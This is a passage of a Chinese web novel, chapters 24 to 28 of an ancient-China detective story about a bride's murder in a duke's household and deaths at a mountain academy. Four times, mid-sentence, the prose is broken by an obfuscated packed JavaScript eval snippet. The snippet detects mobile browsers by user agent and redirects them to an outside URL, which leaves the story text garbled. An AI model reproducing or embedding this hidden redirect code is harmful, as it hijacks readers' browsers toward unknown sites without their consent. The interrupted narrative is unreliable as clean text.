24. 第 24 章 顾舟瞧了瞧镇国公,又瞧了瞧顾烟,心里忐忑的很。 “我,我只是和她说,同我成亲,待三年后我自会同她和离,届时我会给她一笔钱,保证她下半辈子衣食无忧。” 镇国公虽然没有立刻发作起来,但脸色很已十分难看。 “再没别的了吗?”谢知津笑问。 那种笑,像刀子一样,反复割着人的每一寸肌肤。 顾舟不喜欢这种被人反复推敲的感觉,冷声道,“仅此而已。谢大人若是将我当成了凶手,那这便将我抓进大理寺吧。” 谢知津微微一怔,与镇国公交换了个眼色,随即笑道:“二公子多心了,不过是循例问话。” 顾荨又出来打圆场,“这道梅花圆子是我最喜欢吃的,谢大人尝尝。” 用过饭,谢知津又坐着和镇国公客套了片刻,便就辞过。顾荨亲自将她们送到门上,叮嘱道,“查案子固然要紧,可也不能坏了身子,你也要注意休息才是。” 又道:“我最近新得了许多料子,我瞧你身量和我差不多,明日我便让人做些秋衣送到你府上去,你好歹是个郡主,穿的未免也太素净了些。” 明荔应了声,坐上马车挑开帘子朝他挥了挥手,“快些回去吧,改日再见。” 明荔放下车帘,车厢内的光线骤然暗了几分,她转头看向身侧闭目养神的谢知津,轻声道:“大人觉得,顾舟方才的话可信吗?” 谢知津依旧合着眼,声音里带着几分疲惫:“半真半假。”他长叹口气,“我已派人在义庄周围探查,希望能有所获。” …… 镇国公虽然没有责罚顾舟,但也暗地警告他,多用心学些文章,以备秋闱。 顾舟面上应承,回到书房还是把心思都用在了作画上。 阿圆进来的时候,顾舟刚搁下画笔。 “公子这是这月的月银。” 顾舟喝了口茶,打量她好久才开口,“阿圆,你跟我多久了。” 阿圆不明所以,只是如实回答,“五年了。” “我待你如何?” “公子待我恩重如山。” 顾舟指尖摩挲着茶杯边缘,眸色沉沉:“既知我待你不薄,为何要替旁人传话?” 阿圆浑身一僵,扑通一声跪倒在地:“公子,奴,不明白您的意思。” “不明白?”顾舟冷笑一声,起身从书桌抽屉里取出一枚绣着半朵山茶的绢帕,掷在她面前,“这帕子是你的吧?三日前你鬼鬼祟祟去西跨院墙角,做什么了?” 绢帕上的山茶绣得极好,如正盛开一般,也是阿圆惯用的技法。 阿圆盯着那帕子,嘴唇哆嗦着,眼泪瞬间涌了上来:“公子饶命!是,是大小姐召见了奴,她说只要奴才把您每日的行踪告知她,便许奴才五十两银子,还说等您和顾家姑娘成了亲,就放奴才回家乡。” 顾舟眉头紧锁,心中疑窦丛生。 他与顾烟虽非一母同胞,却也无深仇大恨,她为何要暗中监视自己? 他俯身捏住阿圆的下巴,语气冰冷:“她还让你做了什么?老实交代,若有半句虚言,我便将你送到官府。” 阿圆吓得浑身发抖,连忙磕头:“没有了,真的没有了!二小姐只让奴才传话,别的什么都没让做,奴才一时糊涂,才会被钱财迷了心窍,求公子再给奴才一次机会!” 顾舟松开手,看着她伏在地上瑟瑟发抖的模样,眼神晦暗不明。 沉默良久,沉声道:“起来吧。此事暂且压下,往后你若再敢背着我与旁人勾结,休怪我无情。” 阿圆连忙谢恩,爬起来时双腿还在发软,不敢再多说一句,踉跄退下。 顾舟将绢帕锁进暗格,转身走到窗边,望着西跨院的方向,沉思半晌。 “长姐。你究竟要做什么呢?” 他想了很久,随后唤来得力的亲信。 “去查查大小姐近一个月的行踪,尤其是夜间是否出过府,见过什么人,都一一记下来,切勿惊动任何人。”顾舟压低声音吩咐道。 阿松常年跟在他身边,行事稳妥,闻言立刻应下:“公子放心,我这就去办。” 接连三日,顾舟依旧每日在书房作画,暗中留意着西跨院的动静。 阿松传回消息,说顾烟每日除了在院内绣花读书,便只傍晚去过一趟慈云寺。 “慈云寺?”顾舟手指敲击着桌面,心中疑惑更甚,“阿姐不是最不想见到姨娘了吗,去那儿做什么?” “可见了什么人?” 阿松办事向来仔细,“大姑娘身边的青竹姑娘在林子里见了个人,那黑衣人给了她一包东西,两个人说了几句话便各自走了。” 顾舟指尖一顿,“黑衣人?看清样貌了吗?” “天色暗,又是隔着林子瞧的,只隐约见着是个高瘦身形,似乎蒙着面。”阿松如实回话,“那东西是用油纸包着的,瞧着不大,青竹接过之后便揣进了袖中,瞧不出究竟是什么。” 顾舟沉默半晌,手指在桌面轻轻划着圈:“慈云寺。” 他抬眼看向阿松,“你再去一趟慈云寺,悄悄打听一下,大小姐去那日,姨娘是否出过禅房,还有那林子里的黑衣人,有没有留下什么踪迹。” “另外,”顾舟补充道,“盯着青竹的动静,看看她最近都在做什么。” 阿松躬身应下,转身快步离去。 进了大理寺,莫以新便把查来的消息报给了莫以新,“大人,暗探们查了寂尘的人际关系。寂尘,原叫周平,我们在他家找到了半卷鱼线。”他将鱼线呈给谢知津,“我方才和明郡主得到的鱼线比较了下,的确是同一卷。” “这个周平,原来是个术士,早年在苏州靠给人算命维持生计,后来苏州闹了灾荒,人都往外跑,周平也不例外,跑到了扬州,还是做老本行。” “那他家里有什么人吗?”明荔问道。 “他好像有个女儿,不过闹灾荒的时候,女儿死了,就只剩他一个人了。” “术士。”他低声重复,“一个术士,为何会卷入这场是非?” 莫以新继续禀报:“属下还查到,周平在扬州时,曾因预言了几户商贾的祸福而小有名气,但也因此招惹过一些是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765617|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非。迁来京州后,他便不在做这些事了,平日深居简出,偶尔有香客求他卜卦。” 谢知津又问。“阿莫,周平的女儿,具体是怎么死的?查清楚了吗?” 莫以新面露难色:“时间太久不说,苏州那边记录不全,只说是病死的。但属下走访了几个当年一同逃难来的人,有模糊的印象,说那女孩儿似乎并非单纯病故,像是受了什么惊吓,或是冲撞了什么。周平对此讳莫如深,从不与人多提。” 谢知津道,“想办法查清周平女儿死亡的真相。” “是!”莫以新领命而去。 “大人是怀疑,周平女儿的死,或许才是关键?” 谢知津微微颔首:“我只是猜测,查案子任何线索都不能放过。” “哦对了,近几日怎么不见怀州?” 打从昨日谢知津便一直想着要问此事,可案子一压下来,忙的时候就忘了问。 “春鸢姑娘病了,林大人正在那边照看着。不过大人临走时说,若有事尽管吩咐,他定竭力办好。” 谢知津点点头,瞧了眼外头的落日,定睛道,“时间不早了,我们去吃些什么罢。听说城东那边新开了家羊汤铺子,咱们一道去尝尝?” 明荔闻言眼睛一亮,“羊汤?倒是许久没喝了,听闻城东的老字号汤底都熬得醇厚,这家新开的想必也不差。” 两人并肩走出大理寺,暮色已浸染半边天,街面上的灯笼次第亮起,刚行至街角,便见一辆马车缓缓驶过,车帘微动间,明荔看清了对方车上的标识,随后拍着谢知津的肩头,“大人你看,那马车的样式,倒像是镇国公府的。” 谢知津顺着她的目光望去,马车已行远。 他眸色微沉:“这个时辰,镇国公府的人出城做什么?” 正说着,阿松匆匆从巷口跑来,向谢知津与明荔行礼:“谢大人,明郡主。” “你家公子要出城?” “不是我家公子,是我家大姑娘派身边的青竹姑娘。” 谢知津道,“阿松,你前头带路,我们一同过去看看。” 三人未至城西,便见顾烟的马车提前停住,车里头坐着的人正是顾大姑娘。 “顾姐姐。”明荔先行问好。 谢知津温言相询,“顾大姑娘此时出城做什么?” 顾大姑娘莞尔一笑,“是我身边的青竹,她的亲人来瞧她。我想着青竹服侍我多年,自当相送。” 谢知津往城门口瞧,身穿比甲的侍女正和两位老人攀谈,而后,紧紧相拥。 三人迎面走来,青竹缓缓行礼,“多谢大姑娘派人迎我父母进京。” “你我之间无需客套,便准你这几日在京陪着父母,待他们走后,你再回府侍奉。” “多谢大姑娘。”青竹的父母亦连连道谢。 顾烟转而看向谢知津,“谢大人可要同我们一道回国公府坐坐吗?” 面上客套,顾烟心里一百个不想让他再登门,这番心思,谢知津心里也都清楚。 “今日本是陪明荔出来用饭的,便不叨扰顾大姑娘了。告辞。” 25. 第 25 章 车门被掩上的那一刻,主位上的顾烟好似换了一个人。 她瞧着手心里的牛皮纸包,轻扯嘴角。 阿松快马加鞭赶回府中,将方才之事报给了顾舟。 “这么多年了,阿姐做事还是这般缜密,叫人拿不到错处。” “公子,那现在怎么办?”阿松急切地问。 “能怎么办,继续盯着那院,一有动作立刻来报。” 负责在慈云寺周边暗访的衙役是次日清晨来报的。 住在义庄后山附近的菜农回忆,在苏云娘失踪前几日,曾看到一个穿着粉色比甲的丫鬟模样的人,在义庄后山的河岸边徘徊,似乎在丢弃什么东西。因那丫鬟穿着打扮不似寻常粗使婢女,故而有些印象。 不过问其长相如何,菜农们只说离的太远,并未看清,只说是个极美的姑娘。 “大人,这是我们从义庄后山的河岸下游打捞出来的。” 周蔚呈上一个檀木匣子,里头搁着的正是一支玉簪。 “已请苏家二老辨认过了,的确是给苏青陪嫁的那支。” 谢知津沉默一瞬,回道,“派两个人,盯紧国公府,我总觉得凶手还藏在国公府。” “是,属下明白。” 如今时辰尚早,明荔才起身,在宁儿的服侍下梳洗穿戴。 才梳好头发,管家便来通报,说国公府的顾三姑娘来访。 将人请进正堂,顾荨便递上几件新外袍来。 “不过两日,便就制好了?” 顾荨笑道,“我国公府数十个裁缝绣娘合力而制,也就一日的功夫便可做好。你瞧这石青底色配银线绣纹,衬得你肤色愈发白皙,定合心意。” 说着,顾荨又从怀中掏出一块手帕,“姐姐你瞧,上次你既夸那阿圆绣工好,我便让她绣了一块手帕来,赠与姐姐。” 明荔摸着那帕子上的白山茶,活灵活现,似正绽放。 “这怎么好呢,真是麻烦妹妹了。” 顾荨搁下茶杯,直说她客气,“姐姐说什么呢,那丫头能为您办事,是她的福气。” 两人正客套着,顾荨身边的春桃女婢急急忙忙进来通传,“不好了姑娘,大姑娘病了。” “怎么回事?我早上出门的时候阿姐不是还好好的吗?” 明荔收了人家东西也不大好意思,掏出自己的腰牌,“你先别急,我同那太医院的太医令有些交情,让你这丫头拿着我的腰牌去宫中请了她来,为你家大姑娘诊治,我略通些医术,先随你一道去看看。” 顾荨急的不行,虽说顾烟平时对他们严厉,顾荨有时也恼,可终究还是亲姐妹,万不会记恨彼此。 至西跨院时,顾烟躺在床上,面无血色,鬓边都是汗珠。 “怎么回事?”顾荨问身边正侍候的青竹。 “奴婢也不知道,奴婢受姑娘恩典准许我同父母在外游玩,今日也是春香告知说姑娘病了,奴婢这才匆忙刚回来。” 青竹说完话,顾荨又看向春香。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768891|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大姑娘今早吃了些阿胶牛乳后便腹痛不止,咳了些血后便昏了过去。” 明荔指尖搭在顾烟腕脉上,凝神片刻,眉头缓缓蹙起。 那脉象虚浮紊乱,时而急促如鼓点,时而微弱似游丝,分明是中毒的征兆,而非寻常急症。 她收回手,沉声道:“脉象凶险,绝非误食不洁之物那么简单。春香,你再仔细想想,大姑娘今早吃的阿胶牛乳,是何人所做?可有旁人接触过?” 春香脸色发白,眼神闪烁着回道:“是,是厨房的张妈按姑娘的吩咐炖的,全程都是奴婢在旁看着,没旁人碰过啊。” 顾荨闻言脸色骤变:“你的意思是,阿姐是被人下毒?” 明荔点了点头,走到床边掀开顾烟的衣袖,只见她小臂内侧隐约有几道淡青色的瘀痕,不似磕碰所致。“这些痕迹,也是近日出现的?” 青竹凑近一看,惊道:“怎么会?奴婢前离府时还没有。” 顾荨虽在气头上,但并未发作,而是让春桃送明荔回府,“郡主此乃我家事,便不叨扰了您了,便让春桃送您回去吧。” 家丑不可外扬,这是顾荨记事以来,顾烟教过的最多的一句话,她想着,若是阿姐醒来,定然也会如此处理。 明荔心里也明白,道,“若有事不要怕麻烦,定要来寻我。” 顾荨一拜,“深谢郡主了。” 她出门时见太医也被挡在了外头,便让春桃先行,将太医令叫到了一边,“查完脉后,来大理寺回话。” 26. 第 26 章 明荔觉得,顾烟此番中毒之事有些怪。 若是别有用心之人想要她的命,那毒药的剂量就应当是足以致死的量,若说想折磨她,应该取中,而不是只用一点。 将自己疑心之事告知了谢知津,此时两人正等着太医令来回话。 他抬眼看向明荔,眸中翻涌着深思:“身为国公府嫡女,在京中也并无仇敌,若真有人要对她下手,要么一击即中,要么干脆隐匿踪迹,断不会用这不上不下的剂量,反倒引人疑心。” 话音刚落,院外便传来急促的脚步声,太医令捧着药匣快步进来,神色凝重地躬身回话,“启禀郡主,大人,顾姑娘所中之毒乃是牵机,幸亏只摄入一点不足以致命,否则就算是华佗在世都无力回天。” “你出来时,国公府那边可有寻到投毒的人?”明荔问她。 太医令仔细回想,“隔着门,只听见顾三姑娘叫了张妈来,不过张妈是从小服侍大姑娘的,绝不可能做此种事,顾三姑娘便将院子里大大小小的奴婢都叫到了一起,挨个盘问。余下的,臣便不知了。” “有劳太医了。”谢知津从怀中掏出一串钱币,“这便当做您此行的报酬吧。” “多谢大人。” 太医令告辞后,明荔便对谢知津说了自己的猜想,“我才是顾大姑娘自己给自己下毒。” “自己给自己下毒?”谢知津猛地回头,一脸愕然,“为什么这么说?” “身为镇国公嫡女,又有谁能近身侍奉?除了青竹姑娘再无她人了,偏偏青竹姑娘这几日告假,这才让歹人有了可乘之机。可据我所知,牵机这种毒,价格极贵,寻常奴婢根本买不起。再者,若是要杀,买包砒霜就好了,买牵机做什么?” “所以我说,顾大姑娘是自己给自己下毒。”明荔秀眉一拧,“不过我也不大明白,顾大姑娘为何要这么做。” …… 顾烟醒来后见到的第一人是顾舟。 他搅动手中的汤药碗,将勺子里的药吹凉喂到顾烟嘴边。 顾烟瞧着地上跪着的青竹,便知计谋未成。 “阿姐如今,满意了?” 顾烟喘了口粗气,靠着引枕,“你知道她杀了人?” “阿姐觉得,府中什么事能瞒得过我?” 顾烟一听登时便急了,“你既然知道,便知晓她便不能留,若是大理寺的人查到你身上,又该如何?”。她紧紧拉住顾舟的手,言辞恳切,“阿舟,你是我们国公府的希望,你绝对不能糊涂。” “她既然想要归家,便让她回。阿姐何必要要挟她?” 顾烟闻言,心下一阵失望,“你是决意要护着她了?” 顾舟递给她一颗蜜饯,便起身准备回屋。 “她若不死,我国公府终究不会太平,阿舟你想毁了父亲半生的心血吗!” 身后的顾烟歇斯底里,顾舟就像没听见似的,步履平稳地出了西跨院。 阿园受了重伤,躺在东跨院偏殿奄奄一息。 虽说顾舟给她用了军中治伤最好的金疮药,可打板子的人是有些手段的,有些伤虽然面上瞧不出来有多重,但却伤了筋骨。若非顾舟及时赶到,阿圆恐怕早便命丧黄泉。 “多谢公子救我。” 阿圆趴在床上,下身基本不得动弹。 “不用多礼了,好好休息,待你伤好些了我便让人送你归家。放心,你做的事大理寺的人查不到。” 阿圆一惊,从未想过,顾舟会知晓自己的所作所为。 那一刻,她好像明白,自己从未真正了解过顾舟,她所看到的,从来都只是冰山一角。 阿圆是地地道道的扬州人,村子里闹饥荒那年,父亲周平本来是想将他卖给别人换些银子求生的。 不过她生来聪慧,寻个机会便逃了,气的周平直跳脚。 后来,听说苏州富硕,她便跟随渡船来了苏州。 几经辗转,才入了顾府。 她印象里,顾舟是个文人雅士,温润到骨子里的人。 她原是在三姑娘房里侍奉的,那年大雪,阿圆不小心弄坏了顾荨的外袍,顾荨便罚她跪在外头,什么时候太阳出来,什么时候才可以起来。 阿圆就那样跪了一天一夜。 后来,顾舟来给她送东西时,瞧见了阿圆,下人们正想把昏死在雪地里的人拉出去丢了。 可顾舟说,“三妹若是不喜欢她那便让他到我那儿侍奉吧,东院地方大,正缺一个除雪的人。” 顾荨答应了。 那时,一切都很好,顾舟在房间里做画,阿圆在院子里除雪,闲下来时便为顾舟沏茶,研磨。 可后来,都变了,一切都回不去了…… 据慈云寺的和尚们说,周平是个极好的人,邻居们有什么事都会请他帮忙,他也从不吝啬。 午后谢知津探访慈云寺时,见了圆空大师,大师正和弟子讲经说法,他见们不便打扰,便在门口听了些。 圆空大师说,“一念放下,万般自在。” 谢知津靠着门,想到了明荔,不知道强求来的婚事,会不会成了她们彼此的枷锁。 圆空大师从宝殿出来时,她们忙上前见礼。 “大师,我此番来,是想问问关于寂尘师傅的事。在慈云寺这段时间里,可有什么人来看过他吗?” 圆空不知道,不过他身边的小弟子慧静和尚倒是略知一二。 “他好像有个女儿,前些日子来看过他几回,还带了些衣服来让他过秋,不过后来再没见她来过。” 谢知津道,“师傅可见过他女儿,长什么样子?” 慧静双手合十,道了句阿弥陀佛,“此事我也是听寂尘偶尔提起,余下的也不清楚。” “寂尘在此处可有住所?”谢知津又问。 圆空回道,“南边禅房便是寂尘的居所,不过他不常住此处,偶尔也会下山去。” 谢知津又道,“还请大师带我们去他的居所瞧瞧吧。” 寂尘的居所很干净,整洁。仅有一张床,一个柜子,一套桌椅,搜查起来很快捷。 谢知津在枕头底下找到了一块手帕,虽然洗得有些发白,但也能够看得出来,绣工很好。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785734|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “这上头的白山茶倒是别致。”将其揣在怀中,快步走到桌案前,拉开抽屉翻查,里面只有几本佛经和一支磨损的毛笔。 他俯身查看桌底,忽然从角落拾起一枚小小的银簪,簪头正是一朵精致的白山茶,与手帕上的绣纹一模一样。 慧静看到桌上的笔和尚忽然插话:“说起寂尘师傅的女儿,前几日她来送衣物时,我见她袖口沾着些淡青色颜料,像是画师常用的石青。” “师傅可知道,寂尘有得罪过什么人吗?” 慧静想了想,寂尘只有初一十五,慈云寺有法会的时候才会在寺中,其余的时候基本都在山下,他哪里会知道寂尘得罪过什么人。 “大人不如去山下问问,师弟卜卦还是比较准的,山下也许有人会认得他。” 谢知津点点头,后将屋子从里到外彻底搜查一遍,赶在天黑以前下了山。 扬州那边的消息是次日巳时传回大理寺的,莫以新说,周平的女儿名叫周圆,是个极其聪慧的女子。 谢知津眉头紧锁,听着下文。 莫以新呈上一副画像,“这是画师根据邻居的描述,绘出的少年时期的周圆。” 画上的女子,稚气未退,虽年少可还能看得出是个美人坯子。 “我问过了住在周平家附近的人,她们有的说,周圆没死。当年闹灾周平是将她买掉换钱讨生活的,后来周平母亲回来了,夜里邻居听外头有叫嚷声便出去看,听见她们说,周圆跑了,周平想去寻被他夫人怒斥。” 谢知津指尖捏着那幅少年画像,目光落在眉眼间的轮廓上,忽然抬眼,瞧着提着药箱缓步而来的明荔,问道,“你来的正好,你瞧这画中女子的眉眼,像不像顾府二公子的婢女的阿圆?” 明荔凑近细看,画中少女眉梢微扬,眼底藏着几分倔强,指间夹着一朵白山茶。 “我和阿珠刚打顾府回来,阿珠说,如今顾府中的阿圆,当年也服侍过苏青。而且,”明荔从怀中掏出顾荨所赠的手帕,“你看这白山茶,和画中女子衣物上的花像不像。” 谢知津将画像卷起,沉声道:“莫以新还查到什么?” “回大人,”莫以新躬身补充,“周平夫妇后来便往苏州去了,三年前在苏州城郊的破庙中周夫人身故,身上并无伤痕,而周平也说她是自杀,当时官府查不出头绪,便按自杀身亡结了案子。” 明荔点点头道,“我也问过阿珠,她说阿圆当时是因为摔碎了苏青母亲留下的遗物才被赶出府的,如此看来,这个阿圆有可能就是凶手,不过有些事,还需要问过她,才能得到答案。” “如此,便传她来大理寺回话罢。” 阿圆的伤已渐好了,彼时已经收拾好了东西,顾舟正准备从国公府后门送她离府。 一直守在国公府外头的周蔚一干人,得了消息,便当场将她请至大理寺。 “人是我杀的。” 谢知津还没有审问,阿圆便承认了自己的所作所为。 明荔不解,“苏家是你的第一个主家,你当感激她们收留你才是,你怎可恩将仇报?” 27. 第三案,完 阿圆委屈,泪水打湿了面庞,“是她活该,既然已经要嫁给二公子了,为什么不好好的,还要在外头拈花惹草。” “说说看,你是怎么杀她的。” 阿圆低笑一声,毫不避讳地迎上谢知津的目光,眼神里只剩下冰冷的讥诮和一种近乎疯狂的快意,“我先是偷潜入府中,偷走了苏青亡母的遗物,后来在出嫁当天将她打昏,让人带了出去。” 谢知津打断道,“那人,是你的父亲吗?” 阿圆眉头一拧,“对。就是那个愚蠢又无能的男人。” “换上喜服后,我便坐上了喜轿和公子拜堂成亲了。” “拜堂时你就不怕被识破?”明荔指尖轻叩案几,目光锐利如刃。 阿圆舔了舔干裂的唇,眼底闪过一丝得意:“顾舟本就不爱苏青,成婚不过是应付家族。他全程未曾细看我的脸,只当是走个过场。倒是顾烟,那日频频侧目。” “提起顾大姑娘,她中毒又是怎么一回事?”明荔关切的问。 “大姑娘知晓了我做的事想顺理成章的除掉我。” 明荔会心一笑,“那便不说此事,来说说你父亲周平,又为什么杀他呢?” “我是随大姑娘去慈云寺进香之时遇见的周平,当时我还庆幸,他并未认出我。可后来有天周平找上了我,说想补偿我。我没理他,我告诉他,以后都不要来打扰我。” “可后来,当我得知公子要娶苏青的时候,我便找到了他,我需要他帮我,一块杀了苏青。”阿圆的目光变的狠厉起来,“可是这老东西啊,存了不该有的心思,他竟然给了苏青一张符,告诉她近日恐有血光之灾,让她出城避一避。后来,又来勒索我,想让我给他钱,他好回扬州,过原本的生活。” “我怎么能让他如愿呢,凭什么我活在地狱里,他却想过上正常人的生活。在义庄里,我们起了争执,我便掏出提前备好的短刀,杀了他。” 殿内沉寂了一会儿。 “阿圆,你还有什么说的吗?”谢知津问道。 阿圆坦然,“没有了。” “好,那本官便判!” “等等!” 一道清越的嗓音自公堂门口响起。 众人循声望去,只见顾府二公子顾舟,拿着一柄短剑走了进来。 他先是看了一眼跪在地上的阿圆,那目光复杂难辨,随即转向堂上的谢知津和明荔,敛衽一礼。 “谢大人,明郡主。”顾舟声音不高,“阿圆所言,并非全部实情。” 阿圆杏眼圆瞪,难以置信地看向顾舟。 顾舟没有回避她的视线,语气平静无波:“你说是你杀了寂尘,我问你用的什么凶器,刺入何处,凶器如今何处?。” 她顿了顿,似乎在斟酌词句,根本无从说起。 顾舟将手中的匕首递给明荔,“明郡主可去勘验,看看我手中的匕首和寂尘身上的伤口是否一致。” 她接过去,用手比量了一下,朝谢知津点了点头。 “杀寂尘,是因为寂尘要掐死阿圆,又拿着阿圆杀人的把柄上门来要挟,我不敢让阿姐知晓,便杀了他。”顾舟的目光再次落回阿圆身上,“阿圆,她跟了我多年了,她只是不想我在婚姻大事上都受制于家里,所以才出此下策。” “公子错了。”阿圆像是听到了天大的笑话一般,“我入苏府,本只想苟活。可我看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791799|189008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么?!我看到苏青,那个蠢女人,她拥有我做梦都不敢想的一切,家世、容貌、父母的宠爱,还有王公子那样深情的人,她们通通都围着她转!” 阿圆的脸上充满了嫉妒:“凭什么?凭什么她生来就什么都有?而我,却要为奴为婢,我不甘心,我不甘心!” “我的生身父亲,在危难之际要把我卖给大户人家做妾,我本以为逃出了一条生路,入了苏家,我本以为能安安稳稳的活,我不过就是打碎了她的发簪,苏青便要将我发卖了。后来又入了国公府,可顾三姑娘也是个跋扈的主子,不过还好遇见了公子,公子您是个顶好的人,那些对您不好的人都该死!” “所以,顾大姑娘中毒的事,也是你做的?”明荔继续追问。 “不是,是我阿姐自己给自己下毒。”顾舟低声道,“阿姐知晓我杀了人以后,本想以自己中毒为由,将阿圆杖毙,这样便不会有人知晓我杀了寂尘的事,她不想我丢国公府的脸。” 谢知津语气放缓,“我还有一事不解,你为何要帮阿圆。是主仆情意,还是……” 阿圆看顾舟的眼里是藏着情意的,谢知津此问,也是想为阿圆求个圆满。 “不是。”顾舟瞧向跪着的阿圆温柔一笑,“她很像我,他为了摆脱束缚可以不惜一切手段,可我不行。我只能为了国公府而活。” “坊间都传,我不愿娶妻是因为无人配得上国公府嫡长子夫人的位子,可其实不是,是我有喜欢的人。” “他能文能武,还可吟诗作画,是个十分有才情的人,我欣赏他,同样他也欣赏我。可后来,我们的事被阿姐知晓了,阿姐将他送去了岭南,而我却只能困于这一方之地。” 28. 青麓书院 第二天午时,明荔再被敲门声吵醒。她烦躁地扒拉了一下头发,缓缓从榻上坐起。 昨夜趁着谢知津他们不在,明荔特地往案牍库去查找卷宗,结果找了一宿都没找到当年的卷宗,因而今日起的晚了些。 “又有案子了?”明荔盯着风尘仆仆的谢知津问。 “没有案子便不能来找你了?” 明荔挑眉,指尖捻着榻边的锦缎流苏,语气带了几分慵懒:“谢大人日理万机,若非查案,怎么肯踏我门庭?” “刚从西街老字号买的桂花糕,热乎着,先垫垫肚子。” 油纸包被掀开,清甜的桂花香漫开,明荔吃了口,问道,“说说看,又有什么案子了?” 谢知津突然笑了,那笑便如寒冬过后春花绽放一般,让人心头一暖。 “青麓书院,出事了。” …… 青麓书院依山而建,山中雾气弥漫,今日又落了雨,石板路很是湿滑。 此处虽地理位置偏僻,但学子们都喜欢来此处读书,讲求苦其心志,才能大成。 明荔执伞站在书院门口,青石板上的水洼倒映着飞檐下的灯笼。 三天内,第三个学生。 “见过郡主,谢大人。”衙役低声道。。 “又是同样的情况。”周蔚声音低沉,“崔谦,十九岁,今晨被发现倒在寝舍地上。” 三人并肩往崔谦的寝舍走去。 现场保持着原状,崔谦仰面躺在地上,双手微蜷,脸上没有任何表情,看起来就像是在睡梦中死去一般。 明荔蹲下身查验,死者指甲缝里有些许褐色痕迹,身体表面没有受伤痕迹。 “同窗说昨夜还见他挑灯夜读。”书院山长陆文渊站在门边,声音沙哑,“怎料一早便……” 说至此处,山长已泣不成声。 这位年过花甲的大儒,眼底青黑,显然被接连的变故折磨得不轻。 房间内,书案整齐,被褥平整,没有打斗痕迹。 “有香气。”她轻声道。 谢知津走近:“很淡,但确实有。” 似檀非檀,若有若无。 “前两名死者死的时候,屋中也有香气吗?” “书院焚香是常事。”陆文渊解释,“学生们好雅致,多有熏香习惯。” 她起身走到香炉边,用银簪挑起一点香灰,放在鼻尖轻嗅,眉峰微蹙,“此香单独焚烧并无害处,但若与曼陀罗子同用,便会让人陷入沉睡,最终呼吸衰竭而死,可我在屋中并没有发现曼陀罗一类的东西。” 行至窗边时谢知津注意到窗台上一处不明显的擦痕。 “陆山长。”他转向一直随行的陆文渊,“烦请查问昨夜值守之人,看看是否有外人入内。” “请山长带我去看看前两位死者的房间吧。 陆文渊连忙点头:“自然,自然,郡主请随我来。” 雨愈发大了,穿过回廊时,寒风裹着雨丝,沾湿了她的衣摆。 另外两名死者的寝舍与崔谦的房间离的不远,且格局相似。 书案整洁,被褥齐整,布局上没有什么不同。不过两人房中早已没有香炉,应该是被人打扫过。 “事发后,有人进过此处?”谢知津在后头,问陆山长。 “书院的学子们说死了人不干净,要去去晦气免得影响接下来的考试,我便让他们打扫了?” 明荔走到书案前,瞧着王珩的笔记,字清秀,笔势苍劲有力。 她翻开最近的诗文,目光顿在某一页。 “这是什么?”她指着夹在书里的一片残页问。 陆文渊眯眼凑近细看:“像是,半阙残词。” “可能与案情有关?”谢知津问。 “不知。”明荔将纸收好,“只是觉得,这墨色与旁处不同,可能不是出自他手。” “三人可同什么人结怨?”她问陆文渊。 “他们三人都是书院的佼佼者,一同参加过春闱,关系素来和睦。”陆文渊叹了口气,“要说结怨,倒是有个叫沈砚的学生,前几日与崔谦因学术见解争执过,还闹得颇为不快。” “那沈砚现在何处?”谢知津立刻追问。 “他今早称病,告假在房中休息。”陆文渊指了指西侧的一间寝舍,“就在那边。” 三人刚走到寝舍门口,便闻到一股与死者房间相似的淡香,只是更为浓郁。 谢知津抬手推门,门却从里面反锁了。 她将明荔护在身后,伸腿正要破门而入,屋内突然传来一声闷响。 明荔脸色一变:“不好!” 谢知津一脚踹开房门,只见沈砚倒在地上,面色青紫,呼吸微弱,香炉中还在燃烧着那股奇异的香气。 明荔快步上前,掐住他的人中,同时对谢知津喊道:“快熄了香炉,取冷水来!” 周蔚将一盆凉水泼到沈砚脸上,见他还未醒,谢知津抽了他两个耳刮子,喊到,“醒醒,醒醒!” 